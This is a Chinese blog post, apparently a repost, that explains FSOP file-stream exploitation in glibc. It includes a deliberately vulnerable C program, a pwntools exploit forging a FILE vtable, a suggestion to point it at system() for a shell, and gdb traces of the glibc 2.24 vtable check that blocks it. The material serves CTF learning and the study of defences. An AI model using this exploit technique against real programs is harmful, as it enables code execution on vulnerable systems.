内容简介:FSOP以及glibc针对其所做的防御措施
年三十晚上边看电视边搞了下 pwnable.tw 上一个FSOP的题目(春晚太无聊了,唯一一个有意思的开心麻花的小品我还错过了),
当时本地写好已经可以getshell的exp,跑远程失败了,返回本地再调试的时候居然失败了
当时我的心理活动大概是这样的
“诶,咋刚才可以现在不行了” “这个fatal error是啥,刚才咋没有” “我明明啥都没改啊” “还是调一下吧” “诶WOC这咋有个check” “诶WOC为啥刚才能过?”
最后才发现重新返回本地跑exp的时候没有把libc切成题目给的libc(exp里一个 ./
被我误删了),而是用的我本机的libc,而我本机的libc版本针对fsop做了个专门的check,
所以是跑不起来的
FSOP
What is FSOP
ROP是一种针对栈溢出的内存攻击技术,其全称是Return-oriented programming,即返回导向编程,这种攻击技术是针对函数的返回地址,篡改返回地址达到控制程序流的目的
FSOP这个名字出自 HITCON CTF Qual 2016 - House of Orange Write up ,
顾名思义,就是控制文件流,进而控制程序流程
FILE 结构体
一般我们对于文件是这么操作的
FILE *fp = fopen("/file/path", "w+"); fwrite("test", 1, 4, fp); fclose(fp);
fopen()
函数接收参数,然后会在堆上申请一块内存来存放 FILE
结构体,返回一个 FILE
类型的结构体指针,供 fwrite
, fclose
等函数使用,
现代 linux 系统下, FILE
结构体在glibc源码中的定义为 struct _IO_FILE_plus
,实际上是一个 _IO_FILE
结构体加上一个虚函数表,
这个虚函数表里有close,write,read等等函数,整个结构体大概长这样:
所以我们在执行fclose(fp)
时,实际上执行的是
fp->close()
对于FSOP的利用,我们只需要知道虚函数表的位置就行了
POC
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<unistd.h> char deadbeef[0x400]; voidpwn() { puts("Hello world!"); exit(0); } intmain() { read(0, deadbeef, 0x400); fclose((FILE *)deadbeef); return 0; }
编译下
gcc -m32 ./fsop.c -o ./fsop -no-pie
(GCC6默认开启PIE了)
IDA打开看下几个要用到的地址
pwn函数
.text:080484BB .text:080484BB ; =============== S U B R O U T I N E ======================================= .text:080484BB .text:080484BB ; Attributes: noreturn bp-based frame .text:080484BB .text:080484BB public pwn .text:080484BB pwn proc near .text:080484BB push ebp .text:080484BC mov ebp, esp .text:080484BE push ebx .text:080484BF sub esp, 4 .text:080484C2 call __x86_get_pc_thunk_bx .text:080484C7 add ebx, 1B39h .text:080484CD sub esp, 0Ch .text:080484D0 lea eax, (aHelloWorld - 804A000h)[ebx] ; "Hello world!" .text:080484D6 push eax ; s .text:080484D7 call _puts .text:080484DC add esp, 10h .text:080484DF sub esp, 0Ch .text:080484E2 push 0 ; status .text:080484E4 call _exit .text:080484E4 pwn endp
deadbeef的地址
.bss:0804A060 public deadbeef .bss:0804A060 ; FILE deadbeef .bss:0804A060 deadbeef FILE <?> ; DATA XREF: main+22o .bss:0804A060 ; main+36o .bss:0804A0F4 db ? ;
写个py脚本
from pwn import * p = process('./fsop', env = {"LD_PRELOAD" : "./libc_32.so.6"}) fake_file_addr = 0x0804A060 pwn_addr = 0x080484BB fake_vtable = p32(pwn_addr) * 21 fake_vtable_addr = fake_file_addr + 0x50 fake_file = '\xff' * 0x4c payload = '' payload += fake_file payload += p32(fake_vtable_addr) payload += fake_vtable p.send(payload) p.interactive()
这个py脚本里我把伪造的虚函数表全部填成了pwn函数的地址,把 FILE
结构体的其他成员全部写成了0xff,这样就可以绕过glibc的一些检查
打下exp
root@kali:/vagrant/fsop# python fsop_exp.py [x] Starting local process './fsop' [+] Starting local process './fsop': Done [*] Switching to interactive mode Hello world! [*] Got EOF while reading in interactive [*] Process './fsop' stopped with exit code 0 [*] Got EOF while sending in interactive root@kali:/vagrant/fsop#
成功执行pwn函数
其他
关于 _IO_FILE
结构体的第一个成员,我在实验的时候发现,通过 fopen
函数返回的fp,其第一个成员都是一个固定值,实际上该成员并没有规定一个具体数值,
就如同上一个exp,将其设置为0xffffffff也没有影响,所以如果目标是得到 shell 的话,完全可以将其值设为0x3b6873(字符串 'sh;\x00'
),然后控制虚函数表成员为system(),
就可以getshell了
glibc针对FSOP所做的patch
glibc 2.24中的check
在上一个exp里,我将环境变量的 LD_PRLOAD
设置为了 ./libc_32.so.6
,这个libc是我从 pwnable.tw 扒拉下来的,运行一下发现版本是2.23,并没有针对FSOP做一个有效的防御,
现在把那个环境变量去掉,再运行一下exp
root@kali:/vagrant/fsop# python fsop_exp.py [x] Starting local process './fsop' [+] Starting local process './fsop': Done [*] Switching to interactive mode Fatal error: glibc detected an invalid stdio handle [*] Got EOF while reading in interactive [*] Process './fsop' stopped with exit code -6 [*] Got EOF while sending in interactive
我本机的libc版本是2.24,从这个错误信息来看,因该是glibc针对劫持 FILE
结构体虚函数表的攻击方式做了个有效的防御,我们用gdb来调试看看,
在原先脚本发送payload之前设置一个挂起,然后用gdb attach附加到进程,在fclose下个断点
gdb-peda$ b fclose Breakpoint 1 at 0xf76544f6 (2 locations)
单步跟踪至fclose
[-------------------------------------code-------------------------------------] 0xf76546f0 <fclose+512>: sub esp,0xc 0xf76546f3 <fclose+515>: mov ebx,edi 0xf76546f5 <fclose+517>: push esi => 0xf76546f6 <fclose+518>: call 0xf7717d40 <fclose> 0xf76546fb <fclose+523>: add esp,0x10 0xf76546fe <fclose+526>: mov DWORD PTR [ebp-0x1c],eax 0xf7654701 <fclose+529>: mov eax,DWORD PTR [ebp-0x1c] 0xf7654704 <fclose+532>: lea esp,[ebp-0xc] Guessed arguments: arg[0]: 0x804a060 --> 0xffffffff
步入,然后再单步跟踪至 fclose+176
[----------------------------------registers-----------------------------------] EAX: 0xffffffff EBX: 0xf77aa000 --> 0x1b2db0 ECX: 0x8000 EDX: 0x8000 ESI: 0x804a060 --> 0xffffff7f EDI: 0xf77aa000 --> 0x1b2db0 EBP: 0xffacc918 --> 0xffacc958 --> 0xffacc978 --> 0x0 ESP: 0xffacc8f0 --> 0x1 EIP: 0xf7717df0 (<fclose+176>: mov ebx,DWORD PTR [esi+0x4c]) EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xf7717de5 <fclose+165>: je 0xf7717e6b <fclose+299> 0xf7717deb <fclose+171>: nop 0xf7717dec <fclose+172>: lea esi,[esi+eiz*1+0x0] => 0xf7717df0 <fclose+176>: mov ebx,DWORD PTR [esi+0x4c] 0xf7717df3 <fclose+179>: lea eax,[edi-0x1d00] 0xf7717df9 <fclose+185>: lea edx,[edi-0x152c] 0xf7717dff <fclose+191>: sub edx,eax 0xf7717e01 <fclose+193>: mov ecx,ebx
此时 esi
存放的是 FILE
结构体的地址,而 [esi+0x4c]
就是存放虚函数表地址的地方,这一步将 ebx
设置为了结构体中虚表地址
运行至 fclose+191
[----------------------------------registers-----------------------------------] EAX: 0xf77a8300 --> 0x0 EBX: 0x804a0b0 --> 0x80484bb (<pwn>: push ebp) ECX: 0x8000 EDX: 0xf77a8ad4 --> 0x0 ESI: 0x804a060 --> 0xffffff7f EDI: 0xf77aa000 --> 0x1b2db0 EBP: 0xffacc918 --> 0xffacc958 --> 0xffacc978 --> 0x0 ESP: 0xffacc8f0 --> 0x1 EIP: 0xf7717dff (<fclose+191>: sub edx,eax) EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xf7717df0 <fclose+176>: mov ebx,DWORD PTR [esi+0x4c] 0xf7717df3 <fclose+179>: lea eax,[edi-0x1d00] 0xf7717df9 <fclose+185>: lea edx,[edi-0x152c] => 0xf7717dff <fclose+191>: sub edx,eax 0xf7717e01 <fclose+193>: mov ecx,ebx 0xf7717e03 <fclose+195>: sub ecx,eax 0xf7717e05 <fclose+197>: cmp edx,ecx 0xf7717e07 <fclose+199>: jbe 0xf7717ee0 <fclose+416>
这两步完成后, eax
和 edx
分别被赋予了两个和 edi
寄存器相关的值,而x86下程序运行时, edi
一般都指向 libc
的数据段,
用 gdb-peda
的 vmmap
查看内存映射,计算出这两个值和libc的偏移分别是 0x1b1300
和 0x1b1ad4
,用IDA打开本机的libc,看看这两个地址都是个啥
__libc_IO_vtables:001B1300 ; =========================================================================== __libc_IO_vtables:001B1300 __libc_IO_vtables:001B1300 ; Segment type: Pure data __libc_IO_vtables:001B1300 ; Segment permissions: Read/Write __libc_IO_vtables:001B1300 ; Segment alignment '32byte' can not be represented in assembly __libc_IO_vtables:001B1300 __libc_IO_vtables segment para public 'DATA' use32 __libc_IO_vtables:001B1300 assume cs:__libc_IO_vtables __libc_IO_vtables:001B1300 ;org 1B1300h __libc_IO_vtables:001B1300 unk_1B1300 db 0 ; DATA XREF: sub_3F940+3Bo __libc_IO_vtables:001B1300 ; vfprintf+172o ... __libc_IO_vtables:001B1301 db 0 __libc_IO_vtables:001B1302 db 0 __libc_IO_vtables:001B1303 db 0 __libc_IO_vtables:001B1304 db 0 __libc_IO_vtables:001B1305 db 0 __libc_IO_vtables:001B1306 db 0 __libc_IO_vtables:001B1307 db 0 __libc_IO_vtables:001B1308 dd offset _IO_default_finish __libc_IO_vtables:001B130C dd offset sub_3F940 __libc_IO_vtables:001B1310 dd offset sub_6BA30 __libc_IO_vtables:001B1314 dd offset _IO_default_uflow __libc_IO_vtables:001B1318 dd offset _IO_default_pbackfail __libc_IO_vtables:001B131C dd offset _IO_default_xsputn __libc_IO_vtables:001B1320 dd offset _IO_default_xsgetn __libc_IO_vtables:001B1324 dd offset sub_6C130 __libc_IO_vtables:001B1328 dd offset sub_6BDD0 __libc_IO_vtables:001B132C dd offset sub_6BCA0 __libc_IO_vtables:001B1330 dd offset sub_6C080 __libc_IO_vtables:001B1334 dd offset _IO_default_doallocate __libc_IO_vtables:001B1338 dd offset sub_6CCC0 __libc_IO_vtables:001B133C dd offset sub_6CCD0 __libc_IO_vtables:001B1340 dd offset sub_6CCA0 __libc_IO_vtables:001B1344 dd offset sub_6C080 __libc_IO_vtables:001B1348 dd offset sub_6CCB0 __libc_IO_vtables:001B1ABC dd offset sub_6CCD0 __libc_IO_vtables:001B1AC0 dd offset sub_6CCA0 __libc_IO_vtables:001B1AC4 dd offset sub_6C080 __libc_IO_vtables:001B1AC8 dd offset sub_6CCB0 __libc_IO_vtables:001B1ACC dd offset sub_6CCE0 __libc_IO_vtables:001B1AD0 dd offset nullsub_7 __libc_IO_vtables:001B1AD0 __libc_IO_vtables ends __libc_IO_vtables:001B1AD0
可以看出,这两个值分别指向了libc中“默认”的IO虚函数表的起始位置,再结合后面的汇编代码
=> 0xf7717dff <fclose+191>: sub edx,eax 0xf7717e01 <fclose+193>: mov ecx,ebx 0xf7717e03 <fclose+195>: sub ecx,eax 0xf7717e05 <fclose+197>: cmp edx,ecx 0xf7717e07 <fclose+199>: jbe 0xf7717ee0 <fclose+416>
可以确定,这段代码直接检查了当前这个 FILE
结构体所存放的虚函数表是不是落在了libc中“默认”的IO虚函数表的范围内,显然我们的exp过不了这个检查,
运行到跳转处查看下结果
[-------------------------------------code-------------------------------------] 0xf7717e01 <fclose+193>: mov ecx,ebx 0xf7717e03 <fclose+195>: sub ecx,eax 0xf7717e05 <fclose+197>: cmp edx,ecx => 0xf7717e07 <fclose+199>: jbe 0xf7717ee0 <fclose+416> | 0xf7717e0d <fclose+205>: sub esp,0x8 | 0xf7717e10 <fclose+208>: push 0x0 | 0xf7717e12 <fclose+210>: push esi | 0xf7717e13 <fclose+211>: call DWORD PTR [ebx+0x8] |-> 0xf7717ee0 <fclose+416>: call 0xf765ecf0 0xf7717ee5 <fclose+421>: jmp 0xf7717e0d <fclose+205> 0xf7717eea <fclose+426>: test DWORD PTR [esi],0x8000 0xf7717ef0 <fclose+432>: mov ecx,eax JUMP is taken [-------------------------------------code-------------------------------------] 0xf7717eda <fclose+410>: pop ebp 0xf7717edb <fclose+411>: ret 0xf7717edc <fclose+412>: lea esi,[esi+eiz*1+0x0] => 0xf7717ee0 <fclose+416>: call 0xf765ecf0 0xf7717ee5 <fclose+421>: jmp 0xf7717e0d <fclose+205> 0xf7717eea <fclose+426>: test DWORD PTR [esi],0x8000 0xf7717ef0 <fclose+432>: mov ecx,eax 0xf7717ef2 <fclose+434>: jne 0xf7717f1b <fclose+475>
单步运行后,标准输出输出 "Fatal error"
,程序接收 SIGABRT
信号后终止运行
猜想
2.24版本的libc直接检查了 FILE
结构体的虚函数表,使得FSOP这种攻击方式失去了作用,但是libc中“默认”的虚函数表是处于可读写的数据段的,
如果能直接改写,是否也能起到相同的作用?不过做到这一步基本离任意内存读写也不远了,应该也犯不着这么绕
以上所述就是小编给大家介绍的《FSOP以及glibc针对其所做的防御措施》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 企业遇上SSL DDOS该采取的有效防御措施有?
- Netty 防止内存泄漏措施
- .NET Core 必备安全措施
- Webpack 2 中一些常见的优化措施
- Webpack 2 中一些常见的优化措施
- 四个措施打造安全的DevOps流程
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。